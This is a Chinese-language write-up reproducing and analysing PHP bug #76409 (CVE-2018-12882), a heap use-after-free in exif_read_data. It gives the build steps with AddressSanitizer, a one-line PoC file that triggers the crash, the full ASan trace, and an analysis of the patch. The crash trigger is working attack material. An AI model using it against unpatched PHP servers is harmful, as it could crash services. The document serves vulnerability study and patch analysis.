漏洞简介:
PHP: Sec Bug #76409 ++heap use after free++ in _php_stream_free
Package: EXIF related
PHP Version: 7.2Git-2018-06-02 (Git)
CVE-ID: 2018-12882
漏洞复现
目标
用Clang编译带AddressSanitizer的PHP二进制,根据POC复现漏洞。
实验环境
Linux ubuntu 4.15.0-33-generic #36~16.04.1-Ubuntu SMP Wed Aug 15 17:21:05 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
编译PHP
源码:php-src-php-7.2.7RC1
编译器:clang version 3.8.0-2ubuntu4
其他:llvm, AutoConfig
准备
1
2
3wget https://github.com/php/php-src/archive/php-7.2.7RC1.zip
sudo apt-get install llvm clang
sudo apt-get install autoconf解压源码
1
2unzip php-src-php-7.2.7RC1
cd php-src-php-7.2.7RC1/configure & build
1
2
3
4
5
6./buildconf
## 使用clang编译,开启AddressSanitizer
CC=clang CXX=clang++ CFLAGS=" -fsanitize=address -g" CXXFLAGS=" -fsanitize=address -g"
## 配置选项--enable-exif必开,因为漏洞点就在这片代码中
./configure --enable-exif
make
PoC及漏洞触发
生成PoC
1
echo "Lw==" | base64 -d > test.jpg
运行
1
USE_ZEND_ALLOC=0 sapi/cli/php -r 'exif_read_data(file_get_contents("Path-to-PoC/test.jpg"));'
禁用Zend MM: Zend虚拟机使用了自己的程序来优化内存管理
export USE_ZEND_ALLOC=0
- 成功触发
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94Warning: exif_read_data(): Not a file in Command line code on line 1
=================================================================
==18884==ERROR: AddressSanitizer: heap-use-after-free on address 0x611000009590 at pc 0x00000151be86 bp 0x7ffdb183ec60 sp 0x7ffdb183ec58
READ of size 8 at 0x611000009590 thread T0
#0 0x151be85 in _php_stream_free path-to-src/php-src-php-7.2.7RC1/main/streams/streams.c:373:13
#1 0xbc73f3 in exif_read_from_file path-to-src/php-src-php-7.2.7RC1/ext/exif/exif.c:4411:2
#2 0xbc0cae in zif_exif_read_data path-to-src/php-src-php-7.2.7RC1/ext/exif/exif.c:4482:9
#3 0x1be0af1 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER path-to-src/php-src-php-7.2.7RC1/Zend/zend_vm_execute.h:573:2
#4 0x193f183 in execute_ex path-to-src/php-src-php-7.2.7RC1/Zend/zend_vm_execute.h:59723:7
#5 0x1940524 in zend_execute path-to-src/php-src-php-7.2.7RC1/Zend/zend_vm_execute.h:63760:2
#6 0x16be032 in zend_eval_stringl path-to-src/php-src-php-7.2.7RC1/Zend/zend_execute_API.c:1082:4
#7 0x16be6f0 in zend_eval_stringl_ex path-to-src/php-src-php-7.2.7RC1/Zend/zend_execute_API.c:1123:11
#8 0x16be7f2 in zend_eval_string_ex path-to-src/php-src-php-7.2.7RC1/Zend/zend_execute_API.c:1134:9
#9 0x1e50948 in do_cli path-to-src/php-src-php-7.2.7RC1/sapi/cli/php_cli.c:1042:8
#10 0x1e4d7ed in main path-to-src/php-src-php-7.2.7RC1/sapi/cli/php_cli.c:1404:18
#11 0x7f051f6e782f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
#12 0x439fc8 in _start (path-to-src/php-src-php-7.2.7RC1/sapi/cli/php+0x439fc8)
0x611000009590 is located 144 bytes inside of 224-byte region [0x611000009500,0x6110000095e0)
freed by thread T0 here:
#0 0x4d9f70 in __interceptor_cfree.localalias.0 (path-to-src/php-src-php-7.2.7RC1/sapi/cli/php+0x4d9f70)
#1 0x162081f in _efree path-to-src/php-src-php-7.2.7RC1/Zend/zend_alloc.c:2444:4
#2 0x151d180 in _php_stream_free path-to-src/php-src-php-7.2.7RC1/main/streams/streams.c:511:3
#3 0xbcb725 in exif_read_from_impl path-to-src/php-src-php-7.2.7RC1/ext/exif/exif.c:4327:5
#4 0xbc6e62 in exif_read_from_stream path-to-src/php-src-php-7.2.7RC1/ext/exif/exif.c:4382:8
#5 0xbc73dc in exif_read_from_file path-to-src/php-src-php-7.2.7RC1/ext/exif/exif.c:4409:8
#6 0xbc0cae in zif_exif_read_data path-to-src/php-src-php-7.2.7RC1/ext/exif/exif.c:4482:9
#7 0x1be0af1 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER path-to-src/php-src-php-7.2.7RC1/Zend/zend_vm_execute.h:573:2
#8 0x193f183 in execute_ex path-to-src/php-src-php-7.2.7RC1/Zend/zend_vm_execute.h:59723:7
#9 0x1940524 in zend_execute path-to-src/php-src-php-7.2.7RC1/Zend/zend_vm_execute.h:63760:2
#10 0x16be032 in zend_eval_stringl path-to-src/php-src-php-7.2.7RC1/Zend/zend_execute_API.c:1082:4
#11 0x16be6f0 in zend_eval_stringl_ex path-to-src/php-src-php-7.2.7RC1/Zend/zend_execute_API.c:1123:11
#12 0x16be7f2 in zend_eval_string_ex path-to-src/php-src-php-7.2.7RC1/Zend/zend_execute_API.c:1134:9
#13 0x1e50948 in do_cli path-to-src/php-src-php-7.2.7RC1/sapi/cli/php_cli.c:1042:8
#14 0x1e4d7ed in main path-to-src/php-src-php-7.2.7RC1/sapi/cli/php_cli.c:1404:18
#15 0x7f051f6e782f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
previously allocated by thread T0 here:
#0 0x4da0f8 in __interceptor_malloc (path-to-src/php-src-php-7.2.7RC1/sapi/cli/php+0x4da0f8)
#1 0x16214f4 in __zend_malloc path-to-src/php-src-php-7.2.7RC1/Zend/zend_alloc.c:2829:14
#2 0x1615d9e in _emalloc_224 path-to-src/php-src-php-7.2.7RC1/Zend/zend_alloc.c:2352:1
#3 0x151b3db in _php_stream_alloc path-to-src/php-src-php-7.2.7RC1/main/streams/streams.c:274:22
#4 0x1539359 in _php_stream_fopen_from_fd_int path-to-src/php-src-php-7.2.7RC1/main/streams/plain_wrapper.c:186:9
#5 0x15393c5 in _php_stream_fopen_from_fd path-to-src/php-src-php-7.2.7RC1/main/streams/plain_wrapper.c:248:23
#6 0x153d85a in _php_stream_fopen path-to-src/php-src-php-7.2.7RC1/main/streams/plain_wrapper.c:1024:10
#7 0x153edf3 in php_plain_files_stream_opener path-to-src/php-src-php-7.2.7RC1/main/streams/plain_wrapper.c:1080:9
#8 0x152a0f2 in _php_stream_open_wrapper_ex path-to-src/php-src-php-7.2.7RC1/main/streams/streams.c:2027:13
#9 0xbc7326 in exif_read_from_file path-to-src/php-src-php-7.2.7RC1/ext/exif/exif.c:4399:11
#10 0xbc0cae in zif_exif_read_data path-to-src/php-src-php-7.2.7RC1/ext/exif/exif.c:4482:9
#11 0x1be0af1 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER path-to-src/php-src-php-7.2.7RC1/Zend/zend_vm_execute.h:573:2
#12 0x193f183 in execute_ex path-to-src/php-src-php-7.2.7RC1/Zend/zend_vm_execute.h:59723:7
#13 0x1940524 in zend_execute path-to-src/php-src-php-7.2.7RC1/Zend/zend_vm_execute.h:63760:2
#14 0x16be032 in zend_eval_stringl path-to-src/php-src-php-7.2.7RC1/Zend/zend_execute_API.c:1082:4
#15 0x16be6f0 in zend_eval_stringl_ex path-to-src/php-src-php-7.2.7RC1/Zend/zend_execute_API.c:1123:11
#16 0x16be7f2 in zend_eval_string_ex path-to-src/php-src-php-7.2.7RC1/Zend/zend_execute_API.c:1134:9
#17 0x1e50948 in do_cli path-to-src/php-src-php-7.2.7RC1/sapi/cli/php_cli.c:1042:8
#18 0x1e4d7ed in main path-to-src/php-src-php-7.2.7RC1/sapi/cli/php_cli.c:1404:18
#19 0x7f051f6e782f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
SUMMARY: AddressSanitizer: heap-use-after-free path-to-src/php-src-php-7.2.7RC1/main/streams/streams.c:373:13 in _php_stream_free
Shadow bytes around the buggy address:
0x0c227fff9260: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fff9270: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fff9280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fff9290: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fff92a0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c227fff92b0: fd fd[fd]fd fd fd fd fd fd fd fd fd fa fa fa fa
0x0c227fff92c0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
0x0c227fff92d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c227fff92e0: fd fd fd fd fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fff92f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c227fff9300: 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==18884==ABORTING
附:AddressSanitizer符号化
AddressSanitizer symbolize
To make AddressSanitizer symbolize its output you need to set the ASAN_SYMBOLIZER_PATH environment variable to point to the llvm-symbolizer binary (or make sure llvm-symbolizer is in your $PATH):
漏洞分析
exif_read_from_file1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21static int exif_read_from_file(image_info_type *ImageInfo, char *FileName, int read_thumbnail, int read_all)
{
int ret;
php_stream *stream;
stream = php_stream_open_wrapper(FileName, "rb", STREAM_MUST_SEEK | IGNORE_PATH, NULL);
if (!stream) {
memset(&ImageInfo, 0, sizeof(ImageInfo));
exif_error_docref(NULL EXIFERR_CC, ImageInfo, E_WARNING, "Unable to open file");
return FALSE;
}
ret = exif_read_from_stream(ImageInfo, stream, read_thumbnail, read_all);
php_stream_close(stream);
return ret;
}
line 18 正常释放一个stream(allocate in line 6),line 16 调用exif_read_from_stream,可能会有一个额外的close,导致line 18 发生double-free。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17static int exif_read_from_stream(image_info_type *ImageInfo, php_stream *stream, int read_thumbnail, int read_all)
{
int ret;
off_t old_pos = php_stream_tell(stream);
if (old_pos) {
php_stream_seek(stream, 0, SEEK_SET);
}
ret = exif_read_from_impl(ImageInfo, stream, read_thumbnail, read_all);
if (old_pos) {
php_stream_seek(stream, old_pos, SEEK_SET);
}
return ret;
}
line 10 -> exif_read_from_impl ,
1 | static int exif_read_from_impl(image_info_type *ImageInfo, php_stream *stream, int read_thumbnail, int read_all) |
line 18,free了stream的别名指针ImageInfo->infile,这是一个多余的free。
patch 分析
1 | ext/exif/exif.c | 2 +- |
去除这个多余的close,并把别名指针置NULL。